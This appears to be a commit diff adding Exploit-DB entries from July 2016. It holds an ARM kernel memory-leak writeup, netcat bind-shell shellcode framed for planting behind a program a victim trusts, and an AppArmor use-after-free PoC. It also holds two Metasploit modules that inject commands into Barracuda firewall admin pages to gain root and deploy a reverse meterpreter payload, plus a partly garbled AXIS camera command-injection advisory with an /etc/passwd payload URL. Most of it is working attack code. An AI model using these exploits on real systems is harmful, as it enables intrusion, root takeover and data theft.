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DB: 2016-07-30

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Offensive Security 2016-07-30 07:05:01 +00:00
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82
platforms/arm/dos/40182.txt Executable file
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perf_event_open() offers to collect various pieces of information when an event occurs, including a user stack backtrace (PERF_SAMPLE_CALLCHAIN). To collect a user stack backtrace, the kernel grabs the userland register state (if the event occured in kernelspace: the userland register state that was recorded on syscall entry), then walks the stackframes by following framepointers.
On ARM, the step from one stackframe to the next one is implemented in arch/arm/kernel/perf_callchain.c as follows:
/*
* Get the return address for a single stackframe and return a pointer to the
* next frame tail.
*/
static struct frame_tail __user *
user_backtrace(struct frame_tail __user *tail,
struct perf_callchain_entry *entry)
{
struct frame_tail buftail;
unsigned long err;
if (!access_ok(VERIFY_READ, tail, sizeof(buftail)))
return NULL;
pagefault_disable();
err = __copy_from_user_inatomic(&buftail, tail, sizeof(buftail));
pagefault_enable();
if (err)
return NULL;
perf_callchain_store(entry, buftail.lr);
/*
* Frame pointers should strictly progress back up the stack
* (towards higher addresses).
*/
if (tail + 1 >= buftail.fp)
return NULL;
return buftail.fp - 1;
}
The access_ok() check is intended to prevent a malicious userland process from abusing the perf_event_open() API to leak kernelspace data. However, access_ok() does not actually check anything in set_fs(KERNEL_DS) sections, and performance events can occur in pretty much any context. Therefore, by causing a performance event to fire while e.g. the splice() syscall is running under KERNEL_DS, an attacker can circumvent this protection.
(The "tail + 1 >= buftail.fp" check has no relevance for an attacker; kernelspace addresses are higher than userspace addresses.)
After circumventing the protection, the attacker can set up a stackframe whose frame pointer points to an arbitrary kernelspace address. The kernel will follow that frame pointer, read the "saved link register" through it and make the result accessible to userspace. Therefore, this vulnerability can be used to read arbitrary kernelspace data.
The attached exploit can be used to leak 4 bytes at an arbitrary address, like this (tested on a Nexus 6, which runs a kernel based on upstream version 3.10, with a userdebug build that allows the shell user to get a root shell using "su"):
shell@shamu:/ $ su
root@shamu:/ # echo 0 > /proc/sys/kernel/kptr_restrict
root@shamu:/ # grep max_lock_depth /proc/kallsyms
c1042dc0 D max_lock_depth
root@shamu:/ # exit
shell@shamu:/ $ cat /proc/sys/kernel/max_lock_depth
1025
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
attempting to leak 0xc1042dc0
fake stackframe: fp=0xbeafd920
data_head is at e8
SUCCESS: 0x00000401
SUCCESS: 0x00000401
shell@shamu:/ $ su
root@shamu:/ # echo 4100 > /proc/sys/kernel/max_lock_depth
root@shamu:/ # exit
shell@shamu:/ $ /data/local/tmp/poc 0xc1042dc0
attempting to leak 0xc1042dc0
fake stackframe: fp=0xbecbd920
data_head is at e8
SUCCESS: 0x00001004
SUCCESS: 0x00001004
(The number behind the "SUCCESS: " message is the leaked value.)
On recent kernels, the issue could be attacked more reliably using software events or tracepoints - however, before commit b3eac026 (first contained in Linux 4.2), there is no implementation of perf_arch_fetch_caller_regs() on ARM, making it impossible to exploit the issue that way.
The arm64 implementation seems to have the same issues as the arm implementation. The x86 code also looks dodgy and has an access_ok() check, but can't be exploited this way because of the valid_user_frame() check that occurs directly after the values have been read through the potentially-kernelspace pointer.
Regarding other architectures (which I haven't looked into in much detail because they seem less important): Interestingly, sparc already has a safe implementation that explicitly uses set_fs(USER_DS) to make access_ok() safe. tile doesn't seem to even make an effort to differentiate between kernelspace and userspace stacks at a first glance. xtensa has some code, but it looks dodgy. metag also has the bad access_ok() check, but does some sanity checking afterwards that makes it harder to attack. The powerpc code looks secure.
I have attached a completely untested patch that should fix the x86, arm and arm64 code.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40182.zip

130
platforms/lin_x86/shellcode/40179.c Executable file
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#include <stdio.h>
#include <string.h>
#include <unistd.h> //| needed for C "fork"
#include <stdlib.h> //| needed for C "system"
//| Exploit Title: [Linux x86 NetCat bind shell with Port (44, 52 bytes)]
//| Date: [7/28/2016]
//| Exploit Author: [CripSlick]
//| Tested on: [Kali 2.0 x86]
//| Version: [NetCat v1.10-41]
//| ShepherdDowling@gmail.com
//| OffSec ID: OS-20614
//| http://50.112.22.183/
//|=====================================================================================================
//|================================ CripSlick's Short NetCat Bind Shell ================================
//|
//|
//| Why use CripSlick's NetCat Bind Shell?
//| Because it is short and that is about the only reason. If you can spare some bytes, I highly
//| suggest that you go with my Ncat Bind Shell that has the added benefits of SSL, persistent,
//| multi-terminal with a password >>>>>>>>>>>>>> https://www.exploit-db.com/exploits/40061/
//| Or if you must only rely on syscalls, go >>>> https://www.exploit-db.com/exploits/40122/
//| for my bind shell that is also, persistent, multiterminal with a password (Ncat is better
//| due to SSL, so if you know the victim has it on their machine use it.)
//|
//|
//| Sometimes we don't have the luxury of being able to have the other goodies so you must make do
//| with a less powerful approach to at least get your foot in the door, and that is why I made this.
//|
//| Defender Bash Script
//| netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
//|
//| I came up with this bash script because I wanted to be able to see who was spying that included
//| TCP listening, TCP established, UDP listening, & UDP established.
//| I found it annoying that some people needed to run a new script for every state so I fixed that.
//| the "-A 50" means your bash script will hold up to 50 connections.
//| If you need more connections increase the number, and if the scan is slow, decrease the number.
#define PORT "\x39\x38" // FORWARD BYTE ORDER (ASCII TO HEX)
//| PORT:98
//| Specifying the PROTOCOL Only Applies to CODE2
//#define PROTOCOL "\x76\x76" // TCP & IS terminal visible
#define PROTOCOL "\x75\x75" // UDP & NOT terminal visible
//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!============================
//| ==============================================================================
//| CODE1 Random Port, real ghetto but only 44 bytes!!
//| ==============================================================================
//| Attacker Finds Port: nmap 10.1.1.4 -p-
//| Attacker Connects via TCP: nc <IP> <PORT>
//| Defender : netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
unsigned char CODE1[] = //replace CODE1 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
"\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x65\x2f\x62\x69\x68\x2d"
"\x6c\x76\x76\x89\xe6\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
;
//|=====================!!!CHOSE ONLY ONE SHELLCODE!!!============================
//| ==============================================================================
//| CODE2 with port and still only 52 bytes
//| ==============================================================================
//| Attacker Connects via TCP: nc <IP> <PORT>
//| Attacker Connects via UDP: nc -u <IP> <PORT>
//| Defender : netstat -an | grep -A 50 Recv-Q | egrep "tcp|udp"
unsigned char CODE2[] = //replace CODE2 for both CODEX <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
"\x31\xdb\xf7\xe3\x68\x2d\x70"PORT"\x89\xe7\x50\x68\x6e\x2f\x73\x68\x68"
"\x65\x2f\x62\x69\x68\x2d\x6c"PROTOCOL"\x89\xe6\x50\x68\x2f\x2f\x6e\x63"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x57\x56\x53\x89\xe1\xb0\x0b\xcd\x80"
;
//|========================== VOID SHELLCODE ======================================
void SHELLCODE()
{
// This part floods the registers to make sure the shellcode will always run
__asm__("mov $0xAAAAAAAA, %eax\n\t"
"mov %eax, %ebx\n\t" "mov %eax, %ecx\n\t" "mov %eax, %edx\n\t"
"mov %eax, %esi\n\t" "mov %eax, %edi\n\t" "mov %eax, %ebp\n\t"
"call CODE2"); //1st CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
}
//|========================== VOID printBytes =====================================
void printBytes()
{
printf("CripSlick's code is %d Bytes Long\n",
strlen(CODE2)); //2nd CODEX<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
}
//|============================== Int main ========================================
int main ()
{
// IMPORTANT> replace CODEX the "unsigned char" variable above
// > This needs to be done twice (for string count + code to use)
int pid = fork(); // fork start
if(pid == 0){ // pid always starts at 0
SHELLCODE(); // launch void SHELLCODE
// this is to represent a scenario where you bind to a good program
// you always want your shellcode to run first
}else if(pid > 0){ // pid will always be greater than 0 after the 1st process
// this argument will always be satisfied
printBytes(); // launch printBYTES
// pretend that this is the one the victim thinks he is only using
}
return 0; // satisfy int main
system("exit"); // keeps our shellcode a daemon. This only works with C0DE2 as UDP
}

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platforms/linux/dos/40181.c Executable file
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/*
There's a reference count leak in aa_fs_seq_hash_show that can be used to overflow the reference counter and trigger a kernel use-after-free
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_profile *profile = aa_get_profile_rcu(&r->profile); // <--- takes a reference on profile
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <-- no reference dropped
See attached for a PoC that triggers a use-after-free on an aa_label object on Ubuntu 15.10 with the latest 4.2.0.35 kernel; the Ubuntu kernel appears to use an older version of AppArmor prior to some refactoring, but the same issue is present.
static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
{
struct aa_replacedby *r = seq->private;
struct aa_label *label = aa_get_label_rcu(&r->label); // <--- takes a reference on label
struct aa_profile *profile = labels_profile(label);
unsigned int i, size = aa_hash_size();
if (profile->hash) {
for (i = 0; i < size; i++)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
return 0;
} // <--- no reference dropped
I noticed in reproducing this issue that it appears that there has been a patch applied to the very latest Ubuntu kernel shipped in 16.04 that fixes this that hasn't been upstreamed or backported.
The fix is just to correctly drop the acquired reference.
index ad4fa49..798d492 100644
--- a/security/apparmor/apparmorfs.c
+++ b/security/apparmor/apparmorfs.c
@@ -331,6 +331,7 @@ static int aa_fs_seq_hash_show(struct seq_file *seq, void *v)
seq_printf(seq, "%.2x", profile->hash[i]);
seq_puts(seq, "\n");
}
+ aa_put_profile(profile);
return 0;
}
*/
#include <unistd.h>
#include <fcntl.h>
#include <keyutils.h>
#include <err.h>
#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/apparmor.h>
#define BASE_PATH "/sys/kernel/security/apparmor/policy/profiles/sbin.dhclient.2"
#define HASH_PATH BASE_PATH "/sha1"
void add_references(int hash_fd, int refs_to_add) {
char buf[1];
for (int i = 0; i < refs_to_add; ++i) {
pread(hash_fd, buf, sizeof(buf), 0);
}
}
int main(int argc, char** argv) {
int hash_fd;
int fds[0x100];
pid_t pid;
hash_fd = open(HASH_PATH, O_RDONLY);
if (hash_fd < 0) {
err(-1, "failed to open HASH_PATH");
}
fprintf(stderr, "[*] forking to speed up initial reference count increments\n");
for (int i = 0; i < 0xf; ++i) {
if (!fork()) {
add_references(hash_fd, 0x11111100);
exit(0);
}
}
for (int i = 0; i < 0xf; ++i) {
int status;
wait(&status);
}
fprintf(stderr, "[*] initial reference count increase finished\n");
fprintf(stderr, "[*] entering profile\n");
aa_change_profile("/sbin/dhclient");
pid = fork();
if (pid) {
for (int i = 0; i < 0x100; ++i) {
fds[i] = open("/proc/self/net/arp", O_RDONLY);
}
}
else {
add_references(hash_fd, 0x100);
exit(0);
}
fprintf(stderr, "[*] past the point of no return");
sleep(5);
for (int i = 0; i < 0x100; ++i) {
close(fds[i]);
}
}

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platforms/linux/remote/40176.rb Executable file
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# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall
# Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
# vuln: UPDATE_va_other_options trigger exploit
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)',
'Description' => %q{
This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall
Firmware Version <= 8.0.1.008 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability
in the web administration interface. By sending a specially crafted request it's possible to inject
system commands while escalating to root do to relaxed sudo configurations on the applianaces.
},
'Author' =>
[
'xort', # vuln + metasploit module
],
'Version' => '$Revision: 2 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,
'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},
'Targets' =>
[
['Barracuda Web App Firewall Firmware Version <= 8.0.1.008 (2016-03-22)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
}
],
['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)',
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd"
}
],
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('ET', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
vprint_status( "Running Command...\n" )
# file to replace
sudo_cmd_exec = target['SudoCmdExec']
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
#sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
vprint_status(" file = " + b64dumpfile)
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile
exploitreq = [
[ "auth_type","Local" ],
[ "et",et ],
[ "locale","en_US" ],
[ "password", password ],
[ "primary_tab", "ADVANCE" ],
[ "realm","" ],
[ "secondary_tab","advanced_system" ],
[ "user", username ],
[ "timestamp", Time.now.to_i ],
[ "UPDATE_va_other_options", "1" ],
[ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ] # vuln
]
boundary = "---------------------------" + Rex::Text.rand_text_numeric(34)
post_data = ""
exploitreq.each do |xreq|
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n"
post_data << "#{xreq[1]}\r\n"
end
post_data << "--#{boundary}--\r\n"
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
}
})
end
def run_script(username, password, et, cmds)
vprint_status( "running script...\n")
end
def exploit
# timeout
timeout = 1550;
user = "admin"
# params
real_user = "";
login_state = "out"
et = Time.now.to_i
locale = "en_US"
user = "admin"
password = "admin"
enctype = "MD5"
password_entry = ""
password_clear = "admin"
if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty?
password_clear = datastore['PASSWORD']
password = datastore['PASSWORD']
# et = datastore['ET']
end
password_hash, et = do_login(user, password_clear, et)
vprint_status("new password: #{password_hash} et: #{et}\n")
sleep(5)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end

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platforms/linux/remote/40177.rb Executable file
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# Exploit Title: Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Remote Root Exploit
# Date: 07/28/16
# Exploit Author: xort xort@blacksecurity.org
# Vendor Homepage: https://www.barracuda.com/
# Software Link: https://www.barracuda.com/products/webapplicationfirewall
# Version: Web App Firewall Firmware <= 8.0.1.008 (2016-03-22)
# Tested on: Web App Firewall Firmware <= v8.0.1.008 (2016-03-22)
# CVE : None.
# vuln: interface_stats
require 'msf/core'
require 'date'
require "base64"
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Barracuda Web Application Firewall <= v8.0.1.008 Post Auth Root Exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in the Barracuda Web
Application Firweall firmware versions <= v8.0.1.008 (2016-03-22) by exploiting a
vulnerability in the web administration interface. By sending a specially crafted
request it's possible to inject system commands while escalating to root do to relaxed
sudo configuration on the local machine.
},
'Author' => [ 'xort' ], # disclosure and exploit module
'References' => [ [ 'none', 'none'] ],
'Platform' => [ 'linux'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Targets' => [['Web Application Firewall <= v8.0.1.008 (2016-03-22)', {}]],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('PASSWORD', [ false, 'Password', "admin" ]),
OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(8000),
], self.class)
end
def do_login(username, password_clear, et)
vprint_status( "Logging into machine with credentials...\n" )
# vars
timeout = 1550;
enc_key = Rex::Text.rand_text_hex(32)
# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'Accept' => "application/json, text/javascript, */*; q=0.01",
'Content-Type' => "application/x-www-form-urlencoded",
'X-Requested-With' => "XMLHttpRequest"
},
'vars_post' =>
{
'enc_key' => enc_key,
'et' => et,
'user' => "admin", # username,
'password' => "admin", # password_clear,
'enctype' => "none",
'password_entry' => "",
'login_page' => "1",
'login_state' => "out",
'real_user' => "",
'locale' => "en_US",
'form' => "f",
'Submit' => "Sign in",
}
}, timeout)
# get rid of first yank
password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result
et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0]
return password, et
end
def run_command(username, password, et, cmd)
# file to replace
sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl"
sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}"
sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c "
vprint_status( "Running Command...\n" )
# random filename to dump too + 'tmp' HAS to be here.
b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))
# decoder stubs - tells 'base64' command to decode and dump data to temp file
b64decode1 = "echo \""
b64decode2 = "\" | base64 -d >" + b64dumpfile
# base64 - encode with base64 so we can send special chars and multiple lines
cmd = Base64.strict_encode64(cmd)
# Create injection string.
# a) package the base64 decoder with encoded bytes
# b) attach a chmod +x request to make the script created (b64dumpfile) executable
# c) execute decoded base64 dumpfile
injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile
# injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile
vprint_status( "sending..." )
res = send_request_cgi({
'method' => 'GET',
'uri' => "/cgi-mod/index.cgi",
'headers' =>
{
'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0",
},
'vars_get' => {
'ajax_action' => 'interface_stats',
'user' => username,
'password' => password,
'et' => et,
'locale' => 'en_US',
'realm' => '',
'auth_type' => 'Local',
'primary_tab' => 'BASIC',
'secondary_type' => 'status',
'interface' => 'eth0' + '| ' + injection_string + ' |echo ' # vuln
}
})
end
def exploit
# params
timeout = 1550;
real_user = "";
et = Time.now.to_i
user = datastore['USERNAME']
password = datastore['PASSWORD']
# do login and get password hash
password_hash, et = do_login(user, password, et)
vprint_status("got password hash: #{password_hash}\n")
sleep(2)
#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?
cmd = datastore['CMD']
# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" ))
handler
end
end
end

425
platforms/linux/webapps/40171.txt Executable file
View file

@ -0,0 +1,425 @@
_ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
www.orwelllabs.com
security advisory
olsa-2015-8257
PGP: 79A6CCC0
* Advisory Information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(+) Title: AXIS Multiple Products Authenticated Remote Command Execution via devtools vector
(+) Vendor: AXIS Communications
(+) Research and Advisory: Orwelllabs
(+) Advisory URL: http://www.orwelllabs.com/2016/01/axis-commucations-multiple-products.html
(+) Class: Improper Input Validation [CWE-20]
(+) CVE Name: CVE-2015-8257
(+) Remotely Exploitable: Yes
(+) Locally Exploitable: No
(+) OLSA-ID: OWLL2015-8257
(+) Affected Versions: Multiple Products/Firmwares (check the list bellow)
(+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization
(+) Owasp IoTTop10: I1, I2
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Vulnerability
+++++++++++++
AXIS Network Cameras (various models/firmwares) are prone to Authenticated remote
command execution vulnerability. Exploiting this vulnerability a remote attacker can
force the execution of certain unauthorized actions, which may lead to further attacks.
Technical Details
+++++++++++++++++
The devtools.sh script is the responsible for vulnerability and it's 4 attack vectors through the following pages:
http://xxx.xxx.xxx.xxx/app_license.shtml?app=
http://xxx.xxx.xxx.xxx/app_license_custom.shtml?app=
http://xxx.xxx.xxx.xxx/app_index.shtml?app=
http://xxx.xxx.xxx.xxx/app_params.shtml?app=
An attacker can use the app parameter that waits for the name of a
legitimate application to inject commands in the operating system using
"%3B", for example, to read the contents of /etc/passwd:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The data entered in parameter "app =" is passed without any treatment for
devtools.sh script located at: {HTMLROOL}/bin/devtools.sh
This script contains several functions, namely:
list()
status()
menulist()
mainpagelink()
SETTINGSLINK()
confvariable()
echo_ssivar_licensekey()
load_auto_inst_form()
When these functions are invoked, they interact with the parameters passed
by the web application through
the affected scripts (e.g. ap_license.shtml? App =). By injecting the code
below:
http: //
xxx.xxx.xxx.xxx/app_license.shtml?app=ORWELLLABS%3Bcat%20/etc/passwd
The value passed in "app" will be passed directly to the script invoking
devtools.sh via shell -c as shown in the listing process below (third line
invoking confvariable function):
[SNIP]
2039 led 25472 S /usr/bin/enldgts -n
12014 root 0 SW [kworker/0:0]
13178 root 2548 S /bin/sh -c /usr/html/bin/devtools.sh
confvariable ORW..
13183 root 2728 R ps -aux PACKAGENAME
13312 root 0 SW [kworker/3:1]
13320 root 0 SW [kworker/2:0]
[SNIP]
The value "ORWELLLABS%3Bcat%20/etc/passwd" is then passed on to the
corresponding function (after passing through a conference on "confvariable
()").
confvariable() {
local val=
if [ -r "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" ]; then
. "$PACKAGE_DIRECTORY/$1/$ADPPACKCFG" || :
eval val=\$$2
echo $val
fi
}
Then enter the function "menulist ()" which we see the main stretch located
between the lines 127 and 143:
[SNIP]
127 [ "$ name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ activeMenu1 = $ APPNAME" -> true <! - # Else - -> false <! - #
endif ->, null,
128 [
129 [ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
130 EOF
131 if [-z "$ LICENSEPAGE"] || [ "$ LICENSEPAGE" axis =]; Then
132 cat << - EOF
133 [ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = license_ $ APPNAME" -> true <! - # Else - -> false
<! - # endif ->, null, []],
134 EOF
135 fi
136 if [ "$ LICENSEPAGE" = custom] && [-r "$ HTMLROOT / local / $ APPNAME /
license.inc"]; Then
137 cat << - EOF
138 [ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <!
- # If expr = "\ $ ActivePage custom_ = $ APP NAME" -> true <! - # Else ->
false <! - # endif ->, null, []],
139 EOF
140 fi
141 if [-r "$ HTMLROOT / local / $ APPNAME / about.inc"]; Then
142 cat << - EOF
143 [ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = $ APPNAME" -> true <! - # Else - > false <! - #
endif ->, null, []],
Where the important lines are the menus below:
/bin/devtools.sh (127):
[ "$ Name", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If expr
= "\ $ activeMenu1 = $ APPNAME" -> true -> false <! - #endif ->, null,
/bin/devtools.sh (129):
[ "Settings", "/app_params.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = param_ -> true <! - # Else -> false < ! - # endif
->, null, []],
/bin/devtools.sh (133):
[ "License", "/app_license.shtml", "app = $ APPNAME &" hostA, <! - # If
expr = "\ $ ActivePage = License" -> true <! - # Else -> false <! - # endif
->, null, []],
/bin/devtools.sh (138):
[ "License", "/app_license_custom.shtml", "app = $ APPNAME &" hostA, <! - #
If expr = "\ $ ActivePage = APPNAME" -> true <! - # Else -> false <! - #
endif ->, null, []],
/bin/devtools.sh (143):
[ "About", "/app_index.shtml", "app = $ APPNAME &" hostA, <! - # If expr =
"\ $ ActivePage = $ APPNAME" - # else -> false <! - # endif ->, null, []],
In PoC presented above, the payload will be triggered in line vector 133 of
devtools script ( "License" menu) that will:
[ "License", "/app_license.shtml", "app = ORWELLLABS% 3Bcat% 20
/etc/passwd& "HostA, <! - # If expr =" \ $ ActivePage = License "-> true <!
- # Else -> false <! - # Endif ->, null, []],
And when executed echoes the results on the page.
Impact
++++++
The impact of this vulnerability is that taking into account the busybox
that runs behind (and with root privileges everywhere. in all the binaries
and scripts) is possible to execute arbitrary commands, create backdoors,
performing a reverse connection to the machine attacker, use this devices
as botnets and DDoS amplification methods... the limit is the creativity of
the attacker.
Affected Products
+++++++++++++++++
Multiple Axis Communications Products/Firmware including:
* AXIS Q6032-E/Q6034-E/Q6035-E PTZ Dome Network Camera -
Firmware 5.41.1.4
* AXIS Q6042-E/Q6044-E/Q6045-E PTZ Dome Network Camera -
Firmware 5.70.1.2
